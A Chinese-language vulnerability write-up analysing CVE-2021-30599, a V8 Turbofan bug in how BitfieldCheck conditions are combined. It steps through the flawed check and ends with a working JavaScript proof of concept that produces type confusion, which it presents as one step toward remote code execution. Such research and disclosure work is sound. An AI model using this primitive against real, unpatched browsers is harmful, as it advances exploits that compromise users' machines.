早在chrome一次更新修复该漏洞后就关注到了这个漏洞,不过当时是一个研究者一次提交了两个漏洞,还都是21000美元的高悬赏,我当时只注意到了CVE-2021-30598的两次patch,看到其中一次将typeguard改为checkbound,猜测是可以达到rce的。
现在两个漏洞都已公开详情页,提交者给了很详细的描述
30599(https://bugs.chromium.org/p/chromium/issues/detail?id=1234770)
30598(https://bugs.chromium.org/p/chromium/issues/detail?id=1234764)
环境搭建
在v8环境搭完后
git reset --hard 27a517b8922915f53d479133205ee80b35ac2feb
gclient sync
漏洞分析
这是发生在machine-operator-reducer.cc(https://crrev.com/574ca6b71c6160d38b5fcf4b8e133bc7f6ba2387/src/compiler/machine-operator-reducer.cc)中的漏洞(Turbofan),具体来说是其中的BitfieldCheck的一些处理不正确。
static base::Optional<BitfieldCheck> Detect(Node* node) {
// There are two patterns to check for here:
// 1. Single-bit checks: `(val >> shift) & 1`, where:
// - the shift may be omitted, and/or
// - the result may be truncated from 64 to 32
// 2. Equality checks: `(val & mask) == expected`, where:
// - val may be truncated from 64 to 32 before masking (see
// ReduceWord32EqualForConstantRhs)
if (node->opcode() == IrOpcode::kWord32Equal) {
Uint32BinopMatcher eq(node);
if (eq.left().IsWord32And()) {
Uint32BinopMatcher mand(eq.left().node());
if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {
BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),
eq.right().ResolvedValue(), false};
[ ... ]
可以看到对于(val & mask) == expected这种操作会被替换为BitfieldCheck,然后在一些情况下,两个BitfieldCheck会合并成一个,比如((x & 0) == 1) & ((x & 1) == 0),这样的情况就会由二合一,但是漏洞也是在合并过程中产生的。
base::Optional<BitfieldCheck> TryCombine(const BitfieldCheck& other) {
if (source != other.source ||
truncate_from_64_bit != other.truncate_from_64_bit)
return {};
uint32_t overlapping_bits = mask & other.mask;
// It would be kind of strange to have any overlapping bits, but they can be
// allowed as long as they don't require opposite values in the same
// positions.
if ((masked_value & overlapping_bits) !=
(other.masked_value & overlapping_bits)) <---------[1]
return {};
return BitfieldCheck{source, mask | other.mask, <------------[2]
masked_value | other.masked_value,
truncate_from_64_bit};
}
我们可以看到满足[1]处的检查之后就会由[2]完成合并BitfieldCheck的操作,但是这个检查靠谱吗?
对 (x & A) == B来说,masked_value就是B,mask就是A(猜测)。
overlapping_bits = mask & other.mask,这一条件当mask1和mask2的bit的集合完全没有交集时,overlapping_bits就成了0。那么masked_value & overlapping_bits中无论masked_value多大,结果都是0,所以[1]处的判断在overlapping_bits == 0时是不成立的,那么这会导致之后的合并结果出错吗?
答案显然是会的,思考((x & 0) == 1) & ((x & 1) == 0)经优化后会成为(x & (1|0)) == (1|0) => (x & 1) == 1,与优化前,也就是合并前的结果是截然不同的。
漏洞利用
要想达到rce的效果需要与CVE-2021-30598中对typer的patch结合才行,不然绕不掉CheckBounds(CheckMap)没法越界。我们先构造到typer认为x == 0, y == 0, 但是 (x&y) == 1的地步,下面描述下漏洞作者的记录。
首先最简单的做法就是做一个明显无法成真的等式,来赋值x和y满足以上,比如 (a & 1) == 42,这个显然无论a为多少都会得到0,但是正是因为如此,在优化过程中会触发常量折叠导致直接从一个等式变为了常量false,我们虽然可以通过let x = bool_var |0 来使得false变为0,但也会使得后续无法进展。
所以我们需要使用不是特别明显只有一种结果的等式,比如(a & 5) == 2 and (a & 6) == 1这样二者合并后,(a & 7) == 3,在a=3时结果为1,但这还远远不够。
其实我们可以引入一个不确定变量来防止前期优化阶段的常量折叠,比如上面的a就是给优化的函数传入的参数,因为不确定a到底是多少所以就不会被折叠掉。但是因为优化的原因当我们多次传入同一个数时,他还是会按传入的数去优化直接替换成对应的数。类似的还有把直接用0,改为o1 = {a : 0},然后用o1.a去替代0的位置,但是这个虽然在typer阶段不会被折叠,但是在后续的优化阶段还是会被识破的,比如LoadElimination阶段会把其直接替换成常量0。
真正可以用上的方法是string的下标取值操作,array-length节点会很晚才被常量折叠掉,不过因为如此操作产生typer的是CheckBounds节点,显然不属于哪个变量,我们无法直接使用,ReduceSpeculativeNumberOperation中会将CheckBounds节点替换成NumberConstant节点。
Reduction RedundancyElimination::ReduceSpeculativeNumberOperation(Node* node) {
DCHECK(node->opcode() == IrOpcode::kSpeculativeNumberAdd ||
node->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract ||
node->opcode() == IrOpcode::kSpeculativeToNumber);
DCHECK_EQ(1, node->op()->EffectInputCount());
DCHECK_EQ(1, node->op()->EffectOutputCount());
Node* const first = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// Check if there's a CheckBounds operation on {first}
// in the graph already, which we might be able to
// reuse here to improve the representation selection
// for the {node} later on.
if (Node* check = checks->LookupBoundsCheckFor(first)) {
// Only use the bounds {check} if its type is better <----------[1]
// than the type of the {first} node, otherwise we
// would end up replacing NumberConstant inputs with
// CheckBounds operations, which is kind of pointless.
if (!NodeProperties::GetType(first).Is(NodeProperties::GetType(check))) {
NodeProperties::ReplaceValueInput(node, check, 0);
}
}
return UpdateChecks(node, checks);
}
为了触发ReduceSpeculativeNumberOperation函数,我们需要创造出那几个特定的节点,比如SpeculativeNumberAdd,通过x + (o.cf ? “” : 0)操作可以达到,cf是false。
但是这么做也有问题,那就是当CheckBounds被替换为新节点后需要再一次typer来给替换上的节点加上type,而以上做法并不会触发再一次typer,解决方法如下。
However, there is an additional problem: While the CheckBounds-node is inserted, the type of the addition itself actually never gets updated, as there is nothing to trigger a re-typing.
This can be fixed by adding a larger number like 2**30, which will result in a NumberOperationHint of kNumber instead of kSignedSmall, which will make typed-optimization.cc change the node into a regular NumberAdd during the LoadElimination-phase.
对应代码
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
...
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNufunction bar(a, arg_true) {
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}
上面我们加上2**30后当然需要再减去,所以
We then subtract 2**30 again, resulting in a SpeculativeNumberSubtract-node that is again replaced by a regular NumberSubtract.
Once everything has been lowered to 32-bit integer operations, the addition and subtraction will be combined to an addition of 0 and then eliminated, thus they aren’t interfering with triggering the wrong optimization.
当然为了防止常量折叠使得我们一次加一次减直接被优化消失掉,我们还需要引入一个未知变量,所以我们可以把原本2**30的地方改为2**30 – (c0&1),这样(o.cf ? “” : (2**30) – (o.c0&1)) – (2**30)最后的type就是Range(-1, 0)而不是(0, 0),还能防止被优化掉。
如果我们用以上操作设置x和y的值之后,那么二者type都是Range(-1, 0),看下x&y后的type。
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
...
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
显然x&y后的type是Range(-1, 0),实际是1,但是二者的所在优化阶段产生了冲突,为了以上的情况能够得以实现,下面还需要其他操作,这里有些细节导致难度加大。
However, one last obstacle remains: the type propagation to the additions and subtracions only happens during the LoadElimination phase; the BitwiseAnd however is only given a type once during the initial Typer phase; we can’t use the typed optimization again as there is no equivalent “SpeculativeNumberAnd”.
So we need to somehow take the bounds information from the later LoadElimination phase and make it available already during the earlier Typer phase.
我们可以使用Math.min(2**32-1, x+(2**32-1)) – (2**32-1),之后可以使得typer知道这里不会有正数结果,这是在最开始的typer阶段就可以确定的,在后面同样用其他手段使得在对应阶段也是这个Range。
之后为了得到Range(0, 0)实际值是-1的变量,我们先使用其和-1进行Max运算,然后再取反并右移31位。
完整Poc如下:
function bar(a, arg_true) {
let o = {c0: 0, cf: false};
let x = ((a&5)==2)|0;
let y = ((a&6)==1)|0;
"a"[x];"a"[y]; // generate CheckBounds()
x = x + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30); // type is Range(-1,0), but only after LoadElimination
y = y + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30);
x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
return confused;
}
console.log(bar(3, true));
for (var i = 0; i < 3*10**4; i+=1) bar(0,true);
console.log(bar(3,true));
以上并不是达到rce的完整exp,还需要iterator.next的配合。